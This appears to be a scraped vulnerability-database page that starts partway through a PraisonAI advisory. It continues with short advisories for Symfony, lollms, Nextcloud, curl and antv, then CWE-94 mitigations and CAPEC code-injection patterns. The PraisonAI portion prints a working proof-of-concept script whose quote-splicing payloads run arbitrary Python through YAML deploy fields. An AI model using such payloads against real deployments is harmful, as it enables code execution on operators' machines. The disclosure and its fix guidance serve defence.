run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"\u0027 + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + \u0027\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"\u003cgenerated-{label}\u003e\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"\u003cgenerated-agent-file\u003e\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) \u003e 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator\u0027s environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host=\u0027{config.host}\u0027` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report\u0027s root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html",
  "id": "GHSA-79fv-7hq9-w7xg",
  "modified": "2026-10-08T19:36:29Z",
  "published": "2026-10-08T19:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source"
}

GHSA-79GR-58R3-PWM3

Vulnerability from github – Published: 2019-12-02 18:07 – Updated: 2024-02-01 15:48

Summary

Symfony Unsafe Cache Serialization Could Enable RCE

Details

An issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/cache"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.4.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-18889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-12-01T19:45:07Z",
    "nvd_published_at": "2019-11-21T23:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.",
  "id": "GHSA-79gr-58r3-pwm3",
  "modified": "2024-02-01T15:48:28Z",
  "published": "2019-12-02T18:07:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/cache/CVE-2019-18889.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-18889.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/releases/tag/v4.3.8"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/blog/cve-2019-18889-forbid-serializing-abstractadapter-and-tagawareadapter-instances"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/blog/symfony-4-3-8-released"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2019-18889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Symfony Unsafe Cache Serialization Could Enable RCE"
}

GHSA-79H8-GXHQ-Q3JG

Vulnerability from github – Published: 2024-06-24 00:34 – Updated: 2024-06-24 21:25

Summary

Remote Code Execution in create_conda_env function in lollms

Details

A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the 'whoami' command among potentially other harmful commands.

Severity

6.8 (Medium)


                  
                    CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lollms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "9.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-24T21:25:40Z",
    "nvd_published_at": "2024-06-24T00:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A remote code execution vulnerability exists in the create_conda_env function of the parisneo/lollms repository. The vulnerability arises from the use of shell=True in the subprocess.Popen function, which allows an attacker to inject arbitrary commands by manipulating the env_name and python_version parameters. This issue could lead to a serious security breach as demonstrated by the ability to execute the \u0027whoami\u0027 command among potentially other harmful commands.",
  "id": "GHSA-79h8-gxhq-q3jg",
  "modified": "2024-06-24T21:25:40Z",
  "published": "2024-06-24T00:34:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3121"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ParisNeo/lollms"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/db57c343-9b80-4c1c-9ab0-9eef92c9b27b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote Code Execution in create_conda_env function in lollms"
}

GHSA-79JQ-9HHM-7RFM

Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-05-25 00:00

Details

A code injection in Nextcloud Desktop Client 2.6.4 allowed to load arbitrary code when placing a malicious OpenSSL config into a fixed directory.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2020-8224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-10T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A code injection in Nextcloud Desktop Client 2.6.4 allowed to load arbitrary code when placing a malicious OpenSSL config into a fixed directory.",
  "id": "GHSA-79jq-9hhm-7rfm",
  "modified": "2022-05-25T00:00:26Z",
  "published": "2022-05-24T17:25:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8224"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/622170"
    },
    {
      "type": "WEB",
      "url": "https://nextcloud.com/security/advisory/?id=NC-SA-2020-030"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202009-09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79V2-FJ3P-7X4F

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31

Details

A weakness has been identified in antv layout 2.0.0. This impacts the function setNestedValue in the library lib/util/object.js. Executing a manipulation of the argument path can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-15598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in antv layout 2.0.0. This impacts the function setNestedValue in the library lib/util/object.js. Executing a manipulation of the argument path can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-79v2-fj3p-7x4f",
  "modified": "2026-07-14T00:31:01Z",
  "published": "2026-07-14T00:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antvis/layout/issues/292"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15598"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/855637"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378113"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378113/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-79V3-H2VF-VCG6

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:09

Details

A non-privileged user or program can put code and a config file in a known non-privileged path (under C:/usr/local/) that will make curl <= 7.65.1 automatically run the code (as an openssl "engine") on invocation. If that curl is invoked by a privileged user it can do anything it wants.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2019-5443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-02T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A non-privileged user or program can put code and a config file in a known non-privileged path (under C:/usr/local/) that will make curl \u003c= 7.65.1 automatically run the code (as an openssl \"engine\") on invocation. If that curl is invoked by a privileged user it can do anything it wants.",
  "id": "GHSA-79v3-h2vf-vcg6",
  "modified": "2024-04-04T01:09:04Z",
  "published": "2022-05-24T16:49:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5443"
    },
    {
      "type": "WEB",
      "url": "https://curl.haxx.se/docs/CVE-2019-5443.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20191017-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/06/24/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108881"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Mitigation

Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32

Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32

Operation

Strategy: Environment Hardening

Mitigation

Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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